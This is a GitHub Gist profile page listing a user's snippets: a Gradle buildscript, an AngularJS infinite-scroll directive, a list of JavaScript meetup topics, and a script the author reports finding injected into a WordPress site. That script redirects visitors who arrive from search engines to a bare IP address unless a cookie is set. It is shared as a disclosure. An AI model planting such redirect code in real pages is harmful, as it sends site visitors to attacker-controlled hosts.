Skip to content

Instantly share code, notes, and snippets.

View littleiffel's full-sized avatar
🤡
Is settting a status

Thierry Nicola littleiffel

🤡
Is settting a status
View GitHub Profile
buildscript {
repositories {
jcenter()
maven {
url "http://repository.codehaus.org"
}
}
dependencies {
classpath "org.grails:grails-gradle-plugin:2.1.2"
classpath 'org.ajoberstar:gradle-git:1.2.0'
@littleiffel
littleiffel / google.js
Created November 28, 2013 21:21
A malware that I found in my wordpress installation. Was linked from Post and Page content in DB
var from = document.referrer;
var i;
var se = ["google", "yahoo", "bing", "yandex" , "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
for (i = 0; i < se.length; ++i) {
if (from.indexOf(se[i]) + 1) {
if (!checkCookie()) {
window.location = "http://91.239.15.61/g.php";
}
}
}
@littleiffel
littleiffel / infinitescroll.js
Last active April 14, 2019 09:17
My directive for infinite scroll
app.directive('infiniteScroll', [
'$rootScope', '$window', '$timeout', function($rootScope, $window, $timeout) {
return {
link: function(scope, elem, attrs) {
var checkWhenEnabled, handler, scrollDistance, scrollEnabled;
$window = angular.element($window);
elem.css('overflow-y', 'scroll');
elem.css('overflow-x', 'hidden');
elem.css('height', 'inherit');
scrollDistance = 0;
@littleiffel
littleiffel / jsluxembourg
Created October 23, 2013 19:30
A List of possible topics for JSLuxembourg Presentations, the list should include topcis around JS/HTML5/Node.JS...etc Dont hesitate to complete, add topics, add yourself to topcis as speaker (two potential speakers are always better than one)
Topic / Candidate to Present / URL
* Angular.JS littleiffel http://angularjs.org/
* Backbone.Js ??
* CoffeeScript ??
* D3.js ??